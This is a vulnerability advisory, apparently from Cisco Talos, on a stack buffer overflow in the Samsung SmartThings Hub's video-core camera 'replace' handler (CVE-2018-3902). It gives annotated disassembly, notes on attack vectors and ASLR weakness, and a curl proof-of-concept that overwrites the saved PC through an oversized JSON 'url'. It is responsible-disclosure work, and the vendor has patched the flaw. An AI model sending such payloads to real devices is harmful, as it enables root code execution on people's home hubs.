CVE-2018-3902
An exploitable buffer overflow vulnerability exists in the camera “replace” feature of video-core
’s HTTP server of Samsung SmartThings Hub. The video-core
process incorrectly extracts the URL field from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
By sending a PUT request for the /cameras/<camera-id>
path, it’s possible to replace the URL of an existing camera.
Such request is handled by function sub_496C4
:
.text:000496C4 sub_496C4
.text:000496C4
.text:000496C4 dest = -0x2D0C
.text:000496C4 var_2D00= -0x2D00
.text:000496C4 var_2CC0= -0x2CC0
.text:000496C4 var_2B00= -0x2B00
.text:000496C4 var_2AC0= -0x2AC0
.text:000496C4 var_2040= -0x2040
.text:000496C4 var_2000= -0x2000
.text:000496C4 src = 4
.text:000496C4 value_size= 8
.text:000496C4 arg_8 = 0xC
.text:000496C4
.text:000496C4 000 STMFD SP!, {R4-R11,LR}
.text:000496C8 024 ADD R11, SP, #0x20
...
.text:00049744 2D18 BL http_required_json_parameters ; [1]
.text:00049748 2D18 CMP R0, R6
.text:0004974C 2D18 BNE loc_49770
...
.text:000497CC 000 MOV R0, R4
.text:000497D0 000 BL json_tokener_parse ; [2]
...
.text:000497F4 000 MOV R1, #:lower16:aCameraid_1 ; "cameraId"
.text:000497F8 000 SUB R2, R11, #-var_2D00
.text:000497FC 000 SUB R2, R2, #0xC
.text:00049800 000 MOVT R1, #:upper16:aCameraid_1 ; "cameraId"
.text:00049804 000 MOV R0, R7 ; jso
.text:00049808 000 BL json_object_object_get_ex
.text:0004980C 000 CMP R0, #0
.text:00049810 000 BNE loc_49820
...
.text:00049820 loc_49820
.text:00049820 000 LDR R0, [R5,#-0xCE8]
.text:00049824 000 BL json_object_to_json_string
.text:00049828 000 MOV R4, R0
.text:0004982C 000 BL strlen
.text:00049830 000 SUB R3, R11, #-var_2040
.text:00049834 000 MOV R2, R0
.text:00049838 000 SUB R3, R3, #0x24
.text:0004983C 000 MOV R1, R4
.text:00049840 000 ADD R0, R3, #4
.text:00049844 000 BL memcpy ; [3]
.text:00049848 000 MOV R0, R4
.text:0004984C 000 BL strlen
.text:00049850 000 MOV R1, #:lower16:aUrl_0 ; "url"
.text:00049854 000 SUB R2, R11, #-var_2D00
.text:00049858 000 STR R0, [R5,#-0x40]
.text:0004985C 000 SUB R2, R2, #0xC
.text:00049860 000 MOVT R1, #:upper16:aUrl_0 ; "url"
.text:00049864 000 MOV R0, R7 ; jso
.text:00049868 000 BL json_object_object_get_ex
.text:0004986C 000 CMP R0, #0
.text:00049870 000 BNE loc_49880
...
.text:00049880 loc_49880
.text:00049880 000 SUB R3, R11, #-var_2040
.text:00049884 000 LDR R0, [R5,#-0xCE8]
.text:00049888 000 SUB R3, R3, #0x24
.text:0004988C 000 ADD R9, R3, #0x610
.text:00049890 000 BL json_object_to_json_string
.text:00049894 000 MOV R4, R0
.text:00049898 000 BL strlen ; [4]
.text:0004989C 000 MOV R1, R4
.text:000498A0 000 MOV R2, R0
.text:000498A4 000 MOV R0, R9
.text:000498A8 000 BL memcpy ; [5]
.text:000498AC 000 MOV R0, R4
.text:000498B0 000 BL strlen
.text:000498B4 000 SUB R3, R11, #-var_2040
.text:000498B8 000 MOV R12, R0
.text:000498BC 000 SUB R3, R3, #0x24
.text:000498C0 000 LDR R1, [R5,#-0x40] ; where_size
.text:000498C4 000 ADD R4, R3, #4
.text:000498C8 000 STR R9, [SP,#-4+src] ; value
.text:000498CC 000 STR R12, [SP,#-4+value_size] ; value_size
.text:000498D0 000 MOV R3, #3 ; column_size
.text:000498D4 000 MOV R0, R4 ; where
.text:000498D8 000 LDR R2, =aUrl_1 ; column
.text:000498DC 000 STR R12, [R5,#0x5CC]
.text:000498E0 000 BL db_update_wrapper ; [6]
.text:000498E4 000 CMP R0, #0
.text:000498E8 000 LDR R3, [R6]
.text:000498EC 000 BLT loc_49960
...
.text:0004994C loc_4994C
.text:0004994C 000 MOV R0, R7
.text:00049950 000 BL json_object_put
.text:00049954 000 MOV R0, R4
.text:00049958 000 SUB SP, R11, #0x20
.text:0004995C 024 LDMFD SP!, {R4-R11,PC}
...
.text:00049960 loc_49960
.text:00049960 000 CMP R3, #0
.text:00049964 000 BNE loc_49A9C
.text:00049968
.text:00049968 loc_49968
.text:00049968 000 MOV R0, #0
.text:0004996C 000 MOV R4, #0x1F4
.text:00049970 000 BL http_error_message
.text:00049974 000 MOV R1, R0
.text:00049978 000 LDR R0, [R11,#value_size] ; [8]
.text:0004997C 000 BL sub_47340 ; [7]
.text:00049980 000 B loc_4994C
Note that the binary embeds the “json-c” library that is used to manage JSON objects.
The function initially calls http_required_json_parameters
at [1] to verify that all the required parameters are specified in the JSON request. The parameters are: cameraId
, locationId
, dni
, url
.
At [2] the function parses the JSON payload received in the request using json_tokener_parse
. It then extracts the “cameraId” [3] and the “url” field in stack buffers.
Regarding the “url” field, we can see that the length
value for the memcpy
call [5] is set from the strlen
[4] output of the source string itself. At high level, this would be:
memcpy(stack_buffer, json_parameter, strlen(json_parameter));
Since json_parameter
is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.
We identified two different vectors that allow for exploiting this vulnerability:
hubCore
that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, but we decided not to test it to avoid damaging any live infrastructure. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
Note that right after the memcpy
call at [5], the database is updated to replace the supplied URL [6], using the following query:
UPDATE camera SET url='<url>' WHERE cameraId='<camera-id>'
If the query fails (for example if the supplied “cameraId” doesn’t exist), then an error is generated at [7], and the error message in written in a pointer stored in the stack at [8] (if the query succeeds a similar execution happens).
To reach the end of the function and overwrite the stack arbitrarily, an attacker would need to provide a pointer to a writable address at r11 + value_size
.
Although ASLR is enabled, its entropy is low, and the process spawns 14 threads in total, some of them with large stacks. This makes exploitation reliable, as it’s possible to easily predict a writable address.
The following proof of concept shows how to crash the video-core
process by overwriting the saved-PC with 0x41414141 and also write beyond it:
$ curl -X PUT "http://127.0.0.1:3000/cameras/666f8370-05b7-424d-a5e2-28a2dc8477f3" -d '{"cameraId":"x","locationId":"x","dni":"x","url":"'$(perl -e 'print "X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100')'"}'
Note that while the proof of concept uses a fixed stack address to simplify the demonstration (0x758a5555), in practice it would be possible to just overwrite the saved-PC with any pivoting gadget.
2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.